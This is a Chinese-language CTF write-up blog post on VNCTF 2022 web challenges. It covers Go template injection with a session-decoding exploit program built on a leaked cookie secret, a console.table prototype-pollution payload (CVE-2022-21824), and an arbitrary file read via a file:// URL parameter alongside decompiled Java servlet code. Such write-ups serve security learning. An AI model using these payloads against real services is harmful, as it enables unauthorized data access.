VNCTF复现


web

GameV4.0

纯签到题

源码里找flag

base64解码

gocalc0

非预期解:

{{.}}

查源码

image-20220214125228998

flag在/flag路径,尝试去访问

然后提示flag在session中

对session进行base64解码(第二次解码如果全放进去解不出内容,要一点一点试)

image-20220214125352267

预期解:

拿到源码之后根据源码写个exp

package main

import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "<br/>"
		}
		session.Set("history", his)
		session.Save()
		render(c)
	})

	r.Run(fmt.Sprintf(":%s", port))
}

exp:

package main

import (
   _ "embed"
   "fmt"
   "github.com/gin-contrib/sessions"
   "github.com/gin-contrib/sessions/cookie"
   "github.com/gin-gonic/gin"
   "os"
)

func main() {
   port := os.Getenv("PORT")
   if port == "" {
      port = "8080"
   }
   r := gin.Default()
   store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
   r.Use(sessions.Sessions("session", store))
   r.GET("/", func(c *gin.Context) {
      session := sessions.Default(c)
      println(session.Get("FLAG").(string))
   })
   r.Run(fmt.Sprintf(":%s", port))
}

这部分等学了go之后再看看,先放着

newcalc0

考点:原型污染通过 console.table 属性(低)(CVE-2022-21824)

由于 console.table() 函数的格式化逻辑,允许用户控制的输入传递给 properties 参数同时传递一个是不安全的具有至少一个属性作为第一个参数的普通对象,可以是__proto__. 原型污染的控制非常有限,因为它只允许为对象原型的数字键分配一个空字符串。

image-20220215115638665

exp: console.table([{ x : 1 }], [ "__proto__" ]);

image-20220215115645015

image-20220215115655004

easyJava

存在任意文件读取

image-20220215115704939

读不到flag,应该是要通过调用readflag来读取flag

file?url=file:///usr/local/tomcat/webapps/ROOT/WEB-INF/classes/

反编译看一下源码

Secr3t.jad

// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   Secr3t.java

package util;

import java.io.*;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t
{

    private Secr3t()
    {
    }

    public static String getKey()
    {
        return Key;
    }

    public static StringBuffer getFlag()
    {
        InputStream in;
        BufferedReader read;
        Flag = new StringBuffer();
        in = null;
        try
        {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        }
        catch(IOException e)
        {
            e.printStackTrace();
        }
        read = new BufferedReader(new InputStreamReader(in));
        for(String line = null; (line = read.readLine()) != null;)
            Flag.append((new StringBuilder()).append(line).append("\n").toString());

        IOException e;
        try
        {
            in.close();
            read.close();
        }
        // Misplaced declaration of an exception variable
        catch(IOException e)
        {
            e.printStackTrace();
            System.out.println("Secr3t : io exception!");
        }
        break MISSING_BLOCK_LABEL_176;
        e;
        e.printStackTrace();
        try
        {
            in.close();
            read.close();
        }
        // Misplaced declaration of an exception variable
        catch(IOException e)
        {
            e.printStackTrace();
            System.out.println("Secr3t : io exception!");
        }
        break MISSING_BLOCK_LABEL_176;
        Exception exception;
        exception;
        try
        {
            in.close();
            read.close();
        }
        catch(IOException e)
        {
            e.printStackTrace();
            System.out.println("Secr3t : io exception!");
        }
        throw exception;
        return Flag;
    }

    public static boolean check(String checkStr)
    {
        return "vnctf2022".equals(checkStr);
    }

    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

}

HelloWorldServlet.jad

package servlet;

import javax.servlet.annotation.*;
import entity.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.*;
import util.*;
import javax.servlet.*;

@WebServlet(name = "HelloServlet", urlPatterns = { "/evi1" })//比赛的时候用的jad反编译的没这块,虽然之后查日志找到了路径
public class HelloWorldServlet extends HttpServlet
{
    private volatile String name;
    private volatile String age;
    private volatile String height;
    User user;
    
    public HelloWorldServlet() {
        this.name = "m4n_q1u_666";
        this.age = "666";
        this.height = "180";
    }
    
    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }
    
    protected void doGet(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
        final String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }
        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
            return;
        }
        if (Secr3t.check(this.name)) {
            this.Response(resp, "The Key is " + Secr3t.getKey());
        }
    }
    
    protected void doPost(final HttpServletRequest req, final HttpServletResponse resp) throws ServletException, IOException {
        final String key = req.getParameter("key");
        final String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            final Base64.Decoder decoder = Base64.getDecoder();
            final byte[] textByte = decoder.decode(text);
            final User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals((Object)u)) {
                this.Response(resp, "Deserialize\u2026\u2026 Flag is " + Secr3t.getFlag().toString());
            }
        }
        else {
            this.Response(resp, "KeyError");
        }
    }
    
    private void Response(final HttpServletResponse resp, final String outStr) throws IOException {
        final ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

留个坑,不会了,暑假开始学java再来补(


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录